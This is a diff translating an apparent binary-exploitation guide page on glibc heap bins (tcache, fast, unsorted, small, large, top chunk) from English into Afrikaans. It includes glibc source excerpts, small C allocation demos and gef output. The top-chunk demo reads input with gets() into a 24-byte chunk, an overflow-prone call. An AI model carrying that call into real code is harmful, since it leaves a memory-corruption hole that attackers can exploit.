- memory, or there isn't enough memory to do non-trivial
- allocations anyway. */
- if (victim)
- {
- tcache = (tcache_perthread_struct *) victim;
- memset (tcache, 0, sizeof (tcache_perthread_struct));
- }
+mstate ar_ptr;
+void *victim = 0;
+const size_t bytes = sizeof (tcache_perthread_struct);
+
+if (tcache_shutting_down)
+return;
+
+arena_get (ar_ptr, bytes);
+victim = _int_malloc (ar_ptr, bytes);
+if (!victim && ar_ptr != NULL)
+{
+ar_ptr = arena_get_retry (ar_ptr, bytes);
+victim = _int_malloc (ar_ptr, bytes);
+}
+
+if (ar_ptr != NULL)
+__libc_lock_unlock (ar_ptr->mutex);
+
+/* In a low memory situation, we may not be able to allocate memory
+- in which case, we just keep trying later. However, we
+typically do this very early, so either there is sufficient
+memory, or there isn't enough memory to do non-trivial
+allocations anyway. */
+if (victim)
+{
+tcache = (tcache_perthread_struct *) victim;
+memset (tcache, 0, sizeof (tcache_perthread_struct));
}
-```
+}
+```
-#### Tcache Indexes
+#### Tcache-indekse
-The tcache have several bins depending on the size an the initial pointers to the **first chunk of each index and the amount of chunks per index are located inside a chunk**. This means that locating the chunk with this information (usually the first), it's possible to find all the tcache initial points and the amount of Tcache chunks.
+Die tcache het verskeie bins, afhangend van die grootte, en die aanvanklike pointers na die **eerste chunk van elke indeks en die hoeveelheid chunks per indeks word binne-in ’n chunk gestoor**. Dit beteken dat, deur die chunk met hierdie inligting te vind (gewoonlik die eerste een), dit moontlik is om al die tcache se aanvanklike pointers en die hoeveelheid Tcache-chunks te vind.
### Fast bins
-Fast bins are designed to **speed up memory allocation for small chunks** by keeping recently freed chunks in a quick-access structure. These bins use a Last-In, First-Out (LIFO) approach, which means that the **most recently freed chunk is the first** to be reused when there's a new allocation request. This behaviour is advantageous for speed, as it's faster to insert and remove from the top of a stack (LIFO) compared to a queue (FIFO).
+Fast bins is ontwerp om **geheue-allokasie vir klein chunks te versnel** deur onlangs vrygestelde chunks in ’n vinnig-toeganklike struktuur te hou. Hierdie bins gebruik ’n Last-In, First-Out (LIFO)-benadering, wat beteken dat die **mees onlangs vrygestelde chunk die eerste een is wat hergebruik word** wanneer daar ’n nuwe allokasieversoek is. Hierdie gedrag is voordelig vir spoed, aangesien dit vinniger is om bo-aan ’n stack (LIFO) in te voeg en daarvan te verwyder as uit ’n queue (FIFO).[[5]](#references)
-Additionally, **fast bins use singly linked lists**, not double linked, which further improves speed. Since chunks in fast bins aren't merged with neighbours, there's no need for a complex structure that allows removal from the middle. A singly linked list is simpler and quicker for these operations.
+Daarbenewens gebruik **fast bins singly linked lists**, nie double linked nie, wat spoed verder verbeter. Omdat chunks in fast bins nie met naburige chunks saamgevoeg word nie, is daar geen behoefte aan ’n komplekse struktuur wat verwydering uit die middel moontlik maak nie. ’n Singly linked list is eenvoudiger en vinniger vir hierdie bewerkings.[[5]](#references)
-Basically, what happens here is that the header (the pointer to the first chunk to check) is always pointing to the latest freed chunk of that size. So:
+Basies gebeur die volgende hier: die header (die pointer na die eerste chunk om na te gaan) wys altyd na die mees onlangs vrygestelde chunk van daardie grootte. Dus:
-- When a new chunk is allocated of that size, the header is pointing to a free chunk to use. As this free chunk is pointing to the next one to use, this address is stored in the header so the next allocation knows where to get an available chunk
-- When a chunk is freed, the free chunk will save the address to the current available chunk and the address to this newly freed chunk will be put in the header
+- Wanneer ’n nuwe chunk van daardie grootte geallokeer word, wys die header na ’n vry chunk wat gebruik kan word. Aangesien hierdie vry chunk na die volgende een wys wat gebruik moet word, word hierdie adres in die header gestoor sodat die volgende allokasie weet waar om ’n beskikbare chunk te kry
+- Wanneer ’n chunk vrygestel word, stoor die vry chunk die adres van die huidige beskikbare chunk, en die adres van hierdie nuut vrygestelde chunk word in die header geplaas
-The maximum size of a linked list is `0x80` and they are organized so a chunk of size `0x20` will be in index `0`, a chunk of size `0x30` would be in index `1`...
+Die maksimum grootte van ’n linked list is `0x80`, en hulle word so georganiseer dat ’n chunk met grootte `0x20` in indeks `0` sal wees, ’n chunk met grootte `0x30` in indeks `1` sal wees...
> [!CAUTION]
-> Chunks in fast bins aren't set as available so they are keep as fast bin chunks for some time instead of being able to merge with other free chunks surrounding them.
-
+> Chunks in fast bins word nie as beskikbaar gestel nie, sodat hulle vir ’n sekere tyd as fast bin-chunks behou word in plaas daarvan dat hulle met ander vrye chunks rondom hulle kan saamsmelt.
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
/*
- Fastbins
-
- An array of lists holding recently freed small chunks. Fastbins
- are not doubly linked. It is faster to single-link them, and
- since chunks are never removed from the middles of these lists,
- double linking is not necessary. Also, unlike regular bins, they
- are not even processed in FIFO order (they use faster LIFO) since
- ordering doesn't much matter in the transient contexts in which
- fastbins are normally used.
-
- Chunks in fastbins keep their inuse bit set, so they cannot
- be consolidated with other free chunks. malloc_consolidate
- releases all chunks in fastbins and consolidates them with
- other free chunks.
- */
+Fastbins
+
+An array of lists holding recently freed small chunks. Fastbins
+are not doubly linked. It is faster to single-link them, and
+since chunks are never removed from the middles of these lists,
+double linking is not necessary. Also, unlike regular bins, they
+are not even processed in FIFO order (they use faster LIFO) since
+ordering doesn't much matter in the transient contexts in which
+fastbins are normally used.
+
+Chunks in fastbins keep their inuse bit set, so they cannot
+be consolidated with other free chunks. malloc_consolidate
+releases all chunks in fastbins and consolidates them with
+other free chunks.
+*/
typedef struct malloc_chunk *mfastbinptr;
#define fastbin(ar_ptr, idx) ((ar_ptr)->fastbinsY[idx])
/* offset 2 to use otherwise unindexable first 2 bins */
#define fastbin_index(sz) \
- ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
+((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
/* The maximum fastbin request size we support */
@@ -208,43 +199,39 @@ typedef struct malloc_chunk *mfastbinptr;
#define NFASTBINS (fastbin_index (request2size (MAX_FAST_SIZE)) + 1)
```
-
-Add a fastbin chunk example
-
+Voeg 'n fastbin chunk-voorbeeld by
```c
#include
#include
int main(void)
{
- char *chunks[8];
- int i;
-
- // Loop to allocate memory 8 times
- for (i = 0; i < 8; i++) {
- chunks[i] = malloc(24);
- if (chunks[i] == NULL) { // Check if malloc failed
- fprintf(stderr, "Memory allocation failed at iteration %d\n", i);
- return 1;
- }
- printf("Address of chunk %d: %p\n", i, (void *)chunks[i]);
- }
-
- // Loop to free the allocated memory
- for (i = 0; i < 8; i++) {
- free(chunks[i]);
- }
-
- return 0;
+char *chunks[8];
+int i;
+
+// Allocate eight small chunks
+for (i = 0; i < 8; i++) {
+chunks[i] = malloc(24);
+if (chunks[i] == NULL) { // Check if malloc failed
+fprintf(stderr, "Memory allocation failed at iteration %d\n", i);
+return 1;
+}
+printf("Address of chunk %d: %p\n", i, (void *)chunks[i]);
}
-```
-Note how we allocate and free 8 chunks of the same size so they fill the tcache and the eight one is stored in the fast chunk.
+// Free eight: seven enter tcache and one reaches the fastbin
+for (i = 0; i < 8; i++) {
+free(chunks[i]);
+}
-Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. then with `gef` you can see that the tcache bin is full and one chunk is in the fast bin:
+return 0;
+}
+```
+Let daarop hoe ons 8 chunks van dieselfde grootte allokeer en vrylaat sodat hulle die tcache vul en die agtste een in die fast chunk gestoor word.
+Kompileer dit en debug dit met ’n breakpoint in die `ret`-opcode van die `main`-funksie. Dan kan jy met `gef` sien dat die tcache-bin vol is en een chunk in die fast bin is:
```bash
gef➤ heap bins
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
@@ -253,58 +240,54 @@ Tcachebins[idx=0, size=0x20, count=7] ← Chunk(addr=0xaaaaaaac1770, size=0x20,
Fastbins[idx=0, size=0x20] ← Chunk(addr=0xaaaaaaac1790, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
Fastbins[idx=1, size=0x30] 0x00
```
-
### Unsorted bin
-The unsorted bin is a **cache** used by the heap manager to make memory allocation quicker. Here's how it works: When a program frees a chunk, and if this chunk cannot be allocated in a tcache or fast bin and is not colliding with the top chunk, the heap manager doesn't immediately put it in a specific small or large bin. Instead, it first tries to **merge it with any neighbouring free chunks** to create a larger block of free memory. Then, it places this new chunk in a general bin called the "unsorted bin."
+Die unsorted bin is ’n **cache** wat deur die heap manager gebruik word om memory allocation vinniger te maak. Hier is hoe dit werk: Wanneer ’n program ’n chunk vrye stel, en indien hierdie chunk nie in ’n tcache of fast bin geallokeer kan word nie en nie met die top chunk bots nie, plaas die heap manager dit nie onmiddellik in ’n spesifieke small of large bin nie. In plaas daarvan probeer dit eers om dit **met enige aangrensende vrye chunks saam te voeg** om ’n groter blok vrye memory te skep. Daarna plaas dit hierdie nuwe chunk in ’n algemene bin genaamd die "unsorted bin."[[5]](#references)
-When a program **asks for memory**, the heap manager **checks the unsorted bin** to see if there's a chunk of enough size. If it finds one, it uses it right away. If it doesn't find a suitable chunk in the unsorted bin, it moves all the chunks in this list to their corresponding bins, either small or large, based on their size.
+Wanneer ’n program **vir memory vra**, **kontroleer die heap manager die unsorted bin** om te sien of daar ’n chunk van voldoende grootte is. As dit een vind, gebruik dit dit onmiddellik. As dit nie ’n geskikte chunk in die unsorted bin vind nie, skuif dit al die chunks in hierdie lys na hul ooreenstemmende bins, hetsy small of large, gebaseer op hul grootte.[[5]](#references)
-Note that if a larger chunk is split in 2 halves and the rest is larger than MINSIZE, it'll be paced back into the unsorted bin.
+Let daarop dat indien ’n groter chunk in 2 helftes verdeel word en die res groter as MINSIZE is, dit terug in die unsorted bin geplaas sal word.[[7]](#references)
-So, the unsorted bin is a way to speed up memory allocation by quickly reusing recently freed memory and reducing the need for time-consuming searches and merges.
+Die unsorted bin is dus ’n manier om memory allocation te versnel deur onlangs vrygestelde memory vinnig te hergebruik en die behoefte aan tydrowende soektogte en samesmeltings te verminder.[[5]](#references)
> [!CAUTION]
-> Note that even if chunks are of different categories, if an available chunk is colliding with another available chunk (even if they belong originally to different bins), they will be merged.
+> Let daarop dat selfs al is chunks van verskillende categories, indien ’n beskikbare chunk met ’n ander beskikbare chunk bots (selfs al het hulle oorspronklik aan verskillende bins behoort), sal hulle saamgevoeg word.
-Add a unsorted chunk example
-
+Voeg ’n unsorted chunk-voorbeeld by
```c
#include
#include
int main(void)
{
- char *chunks[9];
- int i;
-
- // Loop to allocate memory 8 times
- for (i = 0; i < 9; i++) {
- chunks[i] = malloc(0x100);
- if (chunks[i] == NULL) { // Check if malloc failed
- fprintf(stderr, "Memory allocation failed at iteration %d\n", i);
- return 1;
- }
- printf("Address of chunk %d: %p\n", i, (void *)chunks[i]);
- }
-
- // Loop to free the allocated memory
- for (i = 0; i < 8; i++) {
- free(chunks[i]);
- }
-
- return 0;
+char *chunks[9];
+int i;
+
+// Allocate nine chunks; the last prevents top-chunk consolidation
+for (i = 0; i < 9; i++) {
+chunks[i] = malloc(0x100);
+if (chunks[i] == NULL) { // Check if malloc failed
+fprintf(stderr, "Memory allocation failed at iteration %d\n", i);
+return 1;
+}
+printf("Address of chunk %d: %p\n", i, (void *)chunks[i]);
}
-```
-Note how we allocate and free 9 chunks of the same size so they **fill the tcache** and the eight one is stored in the unsorted bin because it's **too big for the fastbin** and the nineth one isn't freed so the nineth and the eighth **don't get merged with the top chunk**.
+// Fill tcache and leave the eighth free in the unsorted bin
+for (i = 0; i < 8; i++) {
+free(chunks[i]);
+}
-Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. Then with `gef` you can see that the tcache bin is full and one chunk is in the unsorted bin:
+return 0;
+}
+```
+Nege stukke van dieselfde grootte word geallokeer en die eerste agt word vrygestel. Sewe **vul die tcache**, terwyl die agtste die unsorted bin bereik omdat dit **te groot vir 'n fastbin** is. Die negende bly geallokeer, wat voorkom dat die agtste chunk met die top chunk saamsmelt.
+Compileer dit en debug dit met 'n breakpoint in die `ret` opcode van die `main`-funksie. Dan kan jy met `gef` sien dat die tcache-bin vol is en een chunk in die unsorted bin is:
```bash
gef➤ heap bins
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
@@ -319,23 +302,21 @@ Fastbins[idx=5, size=0x70] 0x00
Fastbins[idx=6, size=0x80] 0x00
─────────────────────────────────────────────────────────────────────── Unsorted Bin for arena at 0xfffff7f90b00 ───────────────────────────────────────────────────────────────────────
[+] unsorted_bins[0]: fw=0xaaaaaaac1e10, bk=0xaaaaaaac1e10
- → Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
+→ Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[+] Found 1 chunks in unsorted bin.
```
-
### Small Bins
-Small bins are faster than large bins but slower than fast bins.
-
-Each bin of the 62 will have **chunks of the same size**: 16, 24, ... (with a max size of 504 bytes in 32bits and 1024 in 64bits). This helps in the speed on finding the bin where a space should be allocated and inserting and removing of entries on these lists.
+Small bins is vinniger as large bins maar stadiger as fast bins.[[5]](#references)
-This is how the size of the small bin is calculated according to the index of the bin:
+Elke bin van die 62 sal **chunks van dieselfde grootte** hê: 16, 24, ... (met ’n maksimumgrootte van 504 bytes in 32bits en 1024 in 64bits). Dit verbeter die spoed waarteen die bin gevind word waarin ’n spasie geallokeer moet word, asook die invoeging en verwydering van entries in hierdie lyste.[[5]](#references)
-- Smallest size: 2\*4\*index (e.g. index 5 -> 40)
-- Biggest size: 2\*8\*index (e.g. index 5 -> 80)
+Dit is hoe die grootte van die small bin volgens die indeks van die bin bereken word:
+- Kleinste grootte: 2\*4\*index (bv. index 5 -> 40)
+- Grootste grootte: 2\*8\*index (bv. index 5 -> 80)
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
#define NSMALLBINS 64
@@ -344,58 +325,52 @@ This is how the size of the small bin is calculated according to the index of th
#define MIN_LARGE_SIZE ((NSMALLBINS - SMALLBIN_CORRECTION) * SMALLBIN_WIDTH)
#define in_smallbin_range(sz) \
- ((unsigned long) (sz) < (unsigned long) MIN_LARGE_SIZE)
+((unsigned long) (sz) < (unsigned long) MIN_LARGE_SIZE)
#define smallbin_index(sz) \
- ((SMALLBIN_WIDTH == 16 ? (((unsigned) (sz)) >> 4) : (((unsigned) (sz)) >> 3))\
- + SMALLBIN_CORRECTION)
+((SMALLBIN_WIDTH == 16 ? (((unsigned) (sz)) >> 4) : (((unsigned) (sz)) >> 3))\
++ SMALLBIN_CORRECTION)
```
-
-Function to choose between small and large bins:
-
+Funksie om tussen klein en groot bins te kies:
```c
#define bin_index(sz) \
- ((in_smallbin_range (sz)) ? smallbin_index (sz) : largebin_index (sz))
+((in_smallbin_range (sz)) ? smallbin_index (sz) : largebin_index (sz))
```
-
-Add a small chunk example
-
+Voeg ’n klein chunk-voorbeeld by
```c
#include
#include
int main(void)
{
- char *chunks[10];
- int i;
-
- // Loop to allocate memory 8 times
- for (i = 0; i < 9; i++) {
- chunks[i] = malloc(0x100);
- if (chunks[i] == NULL) { // Check if malloc failed
- fprintf(stderr, "Memory allocation failed at iteration %d\n", i);
- return 1;
- }
- printf("Address of chunk %d: %p\n", i, (void *)chunks[i]);
- }
-
- // Loop to free the allocated memory
- for (i = 0; i < 8; i++) {
- free(chunks[i]);
- }
-
- chunks[9] = malloc(0x110);
-
- return 0;
+char *chunks[10];
+int i;
+
+// Allocate nine chunks for the small-bin transition example
+for (i = 0; i < 9; i++) {
+chunks[i] = malloc(0x100);
+if (chunks[i] == NULL) { // Check if malloc failed
+fprintf(stderr, "Memory allocation failed at iteration %d\n", i);
+return 1;
+}
+printf("Address of chunk %d: %p\n", i, (void *)chunks[i]);
}
-```
-Note how we allocate and free 9 chunks of the same size so they **fill the tcache** and the eight one is stored in the unsorted bin because it's **too big for the fastbin** and the ninth one isn't freed so the ninth and the eights **don't get merged with the top chunk**. Then we allocate a bigger chunk of 0x110 which makes **the chunk in the unsorted bin goes to the small bin**.
+// Fill tcache and leave the eighth free in the unsorted bin
+for (i = 0; i < 8; i++) {
+free(chunks[i]);
+}
+
+chunks[9] = malloc(0x110);
-Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. then with `gef` you can see that the tcache bin is full and one chunk is in the small bin:
+return 0;
+}
+```
+Soos in die unsorted-bin-voorbeeld, **vul die tcache** sewe freed chunks, en die agtste bereik die unsorted bin, terwyl die negende geallokeerde chunk voorkom dat top-chunk-konsolidasie plaasvind. Deur dan die groter `0x110`-versoek te allokeer, klassifiseer die allocator die unsorted chunk in sy small bin.
+Compileer dit en debug dit met ’n breakpoint in die `ret` opcode van die `main`-funksie. Dan kan jy met `gef` sien dat die tcache bin vol is en een chunk in die small bin is:
```bash
gef➤ heap bins
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
@@ -412,96 +387,90 @@ Fastbins[idx=6, size=0x80] 0x00
[+] Found 0 chunks in unsorted bin.
──────────────────────────────────────────────────────────────────────── Small Bins for arena at 0xfffff7f90b00 ────────────────────────────────────────────────────────────────────────
[+] small_bins[16]: fw=0xaaaaaaac1e10, bk=0xaaaaaaac1e10
- → Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
+→ Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[+] Found 1 chunks in 1 small non-empty bins.
```
-
### Large bins
-Unlike small bins, which manage chunks of fixed sizes, each **large bin handle a range of chunk sizes**. This is more flexible, allowing the system to accommodate **various sizes** without needing a separate bin for each size.
+Anders as small bins, wat chunks van vaste groottes bestuur, hanteer elke **large bin 'n reeks chunk-groottes**. Dit is meer buigsaam en stel die stelsel in staat om **verskeie groottes** te akkommodeer sonder dat 'n aparte bin vir elke grootte benodig word.[[5]](#references)
-In a memory allocator, large bins start where small bins end. The ranges for large bins grow progressively larger, meaning the first bin might cover chunks from 512 to 576 bytes, while the next covers 576 to 640 bytes. This pattern continues, with the largest bin containing all chunks above 1MB.
+In 'n memory allocator begin large bins waar small bins eindig. Die reekse vir large bins word progressief groter, wat beteken dat die eerste bin dalk chunks van 512 tot 576 grepe dek, terwyl die volgende een 576 tot 640 grepe dek. Hierdie patroon gaan voort, met die grootste bin wat alle chunks bo 1MB bevat.[[5]](#references)
-Large bins are slower to operate compared to small bins because they must **sort and search through a list of varying chunk sizes to find the best fit** for an allocation. When a chunk is inserted into a large bin, it has to be sorted, and when memory is allocated, the system must find the right chunk. This extra work makes them **slower**, but since large allocations are less common than small ones, it's an acceptable trade-off.
+Large bins is stadiger om te bedryf as small bins omdat hulle deur 'n lys van chunk-groottes moet **sorteer en soek om die beste passing** vir 'n toewysing te vind. Wanneer 'n chunk in 'n large bin ingevoeg word, moet dit gesorteer word, en wanneer geheue toegewys word, moet die stelsel die regte chunk vind. Hierdie ekstra werk maak hulle **stadiger**, maar aangesien large allocations minder algemeen as small allocations is, is dit 'n aanvaarbare kompromie.[[5]](#references)
-There are:
+Daar is:
-- 32 bins of 64B range (collide with small bins)
-- 16 bins of 512B range (collide with small bins)
-- 8bins of 4096B range (part collide with small bins)
-- 4bins of 32768B range
-- 2bins of 262144B range
-- 1bin for remaining sizes
+- 32 bins met 'n reeks van 64B (bots met small bins)
+- 16 bins met 'n reeks van 512B (bots met small bins)
+- 8 bins met 'n reeks van 4096B (gedeeltelik bots met small bins)
+- 4 bins met 'n reeks van 32768B
+- 2 bins met 'n reeks van 262144B
+- 1 bin vir die oorblywende groottes
-Large bin sizes code
-
+Large bin-groottes-kode
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
#define largebin_index_32(sz) \
- (((((unsigned long) (sz)) >> 6) <= 38) ? 56 + (((unsigned long) (sz)) >> 6) :\
- ((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\
- ((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
- ((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
- ((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
- 126)
+(((((unsigned long) (sz)) >> 6) <= 38) ? 56 + (((unsigned long) (sz)) >> 6) :\
+((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\
+((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
+((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
+((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
+126)
#define largebin_index_32_big(sz) \
- (((((unsigned long) (sz)) >> 6) <= 45) ? 49 + (((unsigned long) (sz)) >> 6) :\
- ((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\
- ((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
- ((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
- ((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
- 126)
+(((((unsigned long) (sz)) >> 6) <= 45) ? 49 + (((unsigned long) (sz)) >> 6) :\
+((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\
+((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
+((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
+((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
+126)
// XXX It remains to be seen whether it is good to keep the widths of
// XXX the buckets the same or whether it should be scaled by a factor
// XXX of two as well.
#define largebin_index_64(sz) \
- (((((unsigned long) (sz)) >> 6) <= 48) ? 48 + (((unsigned long) (sz)) >> 6) :\
- ((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\
- ((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
- ((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
- ((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
- 126)
+(((((unsigned long) (sz)) >> 6) <= 48) ? 48 + (((unsigned long) (sz)) >> 6) :\
+((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\
+((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
+((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
+((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
+126)
#define largebin_index(sz) \
- (SIZE_SZ == 8 ? largebin_index_64 (sz) \
- : MALLOC_ALIGNMENT == 16 ? largebin_index_32_big (sz) \
- : largebin_index_32 (sz))
+(SIZE_SZ == 8 ? largebin_index_64 (sz) \
+: MALLOC_ALIGNMENT == 16 ? largebin_index_32_big (sz) \
+: largebin_index_32 (sz))
```
-
-Add a large chunk example
-
+Voeg 'n voorbeeld van 'n groot chunk by
```c
#include
#include
int main(void)
{
- char *chunks[2];
+char *chunks[2];
- chunks[0] = malloc(0x1500);
- chunks[1] = malloc(0x1500);
- free(chunks[0]);
- chunks[0] = malloc(0x2000);
+chunks[0] = malloc(0x1500);
+chunks[1] = malloc(0x1500);
+free(chunks[0]);
+chunks[0] = malloc(0x2000);
- return 0;
+return 0;
}
```
+2 groot allokasies word uitgevoer, waarna een vrygestel word (dit plaas dit in die unsorted bin), en ’n groter allokasie gemaak word (wat die vrygestelde een van die unsorted bin na die large bin verskuif).
-2 large allocations are performed, then on is freed (putting it in the unsorted bin) and a bigger allocation in made (moving the free one from the usorted bin ro the large bin).
-
-Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. then with `gef` you can see that the tcache bin is full and one chunk is in the large bin:
-
+Kompileer dit en ontfout dit met ’n breekpunt in die `ret`-opcode van die `main`-funksie. Met `gef` kan jy dan sien dat die tcache bin vol is en dat een chunk in die large bin is:
```bash
gef➤ heap bin
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
@@ -520,111 +489,105 @@ Fastbins[idx=6, size=0x80] 0x00
[+] Found 0 chunks in 0 small non-empty bins.
──────────────────────────────────────────────────────────────────────── Large Bins for arena at 0xfffff7f90b00 ────────────────────────────────────────────────────────────────────────
[+] large_bins[100]: fw=0xaaaaaaac1290, bk=0xaaaaaaac1290
- → Chunk(addr=0xaaaaaaac12a0, size=0x1510, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
+→ Chunk(addr=0xaaaaaaac12a0, size=0x1510, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[+] Found 1 chunks in 1 large non-empty bins.
```
-
### Top Chunk
-
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
/*
- Top
-
- The top-most available chunk (i.e., the one bordering the end of
- available memory) is treated specially. It is never included in
- any bin, is used only if no other chunk is available, and is
- released back to the system if it is very large (see
- M_TRIM_THRESHOLD). Because top initially
- points to its own bin with initial zero size, thus forcing
- extension on the first malloc request, we avoid having any special
- code in malloc to check whether it even exists yet. But we still
- need to do so when getting memory from system, so we make
- initial_top treat the bin as a legal but unusable chunk during the
- interval between initialization and the first call to
- sysmalloc. (This is somewhat delicate, since it relies on
- the 2 preceding words to be zero during this interval as well.)
- */
+Top
+
+The top-most available chunk (i.e., the one bordering the end of
+available memory) is treated specially. It is never included in
+any bin, is used only if no other chunk is available, and is
+released back to the system if it is very large (see
+M_TRIM_THRESHOLD). Because top initially
+points to its own bin with initial zero size, thus forcing
+extension on the first malloc request, we avoid having any special
+code in malloc to check whether it even exists yet. But we still
+need to do so when getting memory from system, so we make
+initial_top treat the bin as a legal but unusable chunk during the
+interval between initialization and the first call to
+sysmalloc. (This is somewhat delicate, since it relies on
+the 2 preceding words to be zero during this interval as well.)
+*/
/* Conveniently, the unsorted bin can be used as dummy top on first call */
#define initial_top(M) (unsorted_chunks (M))
```
+Basies is dit 'n chunk wat die hele tans beskikbare heap bevat. Wanneer 'n malloc uitgevoer word, en daar geen beskikbare free chunk is om te gebruik nie, sal hierdie top chunk sy grootte verklein om die nodige ruimte te verskaf.\
+Die pointer na die Top Chunk word in die `malloc_state`-struct gestoor.[[7]](#references)
-Basically, this is a chunk containing all the currently available heap. When a malloc is performed, if there isn't any available free chunk to use, this top chunk will be reducing its size giving the necessary space.\
-The pointer to the Top Chunk is stored in the `malloc_state` struct.
-
-Moreover, at the beginning, it's possible to use the unsorted chunk as the top chunk.
+Verder is dit aan die begin moontlik om die unsorted chunk as die top chunk te gebruik.
-Observe the Top Chunk example
-
+Bestudeer die Top Chunk-voorbeeld
```c
#include
#include
int main(void)
{
- char *chunk;
- chunk = malloc(24);
- printf("Address of the chunk: %p\n", (void *)chunk);
- gets(chunk);
- return 0;
+char *chunk;
+chunk = malloc(24);
+printf("Address of the chunk: %p\n", (void *)chunk);
+gets(chunk);
+return 0;
}
```
-
-After compiling and debugging it with a break point in the `ret` opcode of `main` I saw that the malloc returned the address `0xaaaaaaac12a0` and these are the chunks:
-
+Nadat ek dit gekompileer en ontfout het met ’n breekpunt in die `ret`-opcode van `main`, het ek gesien dat malloc die adres `0xaaaaaaac12a0` teruggestuur het, en hierdie is die chunks:
```bash
gef➤ heap chunks
Chunk(addr=0xaaaaaaac1010, size=0x290, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
- [0x0000aaaaaaac1010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
+[0x0000aaaaaaac1010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
Chunk(addr=0xaaaaaaac12a0, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
- [0x0000aaaaaaac12a0 41 41 41 41 41 41 41 00 00 00 00 00 00 00 00 00 AAAAAAA.........]
+[0x0000aaaaaaac12a0 41 41 41 41 41 41 41 00 00 00 00 00 00 00 00 00 AAAAAAA.........]
Chunk(addr=0xaaaaaaac12c0, size=0x410, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
- [0x0000aaaaaaac12c0 41 64 64 72 65 73 73 20 6f 66 20 74 68 65 20 63 Address of the c]
+[0x0000aaaaaaac12c0 41 64 64 72 65 73 73 20 6f 66 20 74 68 65 20 63 Address of the c]
Chunk(addr=0xaaaaaaac16d0, size=0x410, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
- [0x0000aaaaaaac16d0 41 41 41 41 41 41 41 0a 00 00 00 00 00 00 00 00 AAAAAAA.........]
+[0x0000aaaaaaac16d0 41 41 41 41 41 41 41 0a 00 00 00 00 00 00 00 00 AAAAAAA.........]
Chunk(addr=0xaaaaaaac1ae0, size=0x20530, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← top chunk
```
-
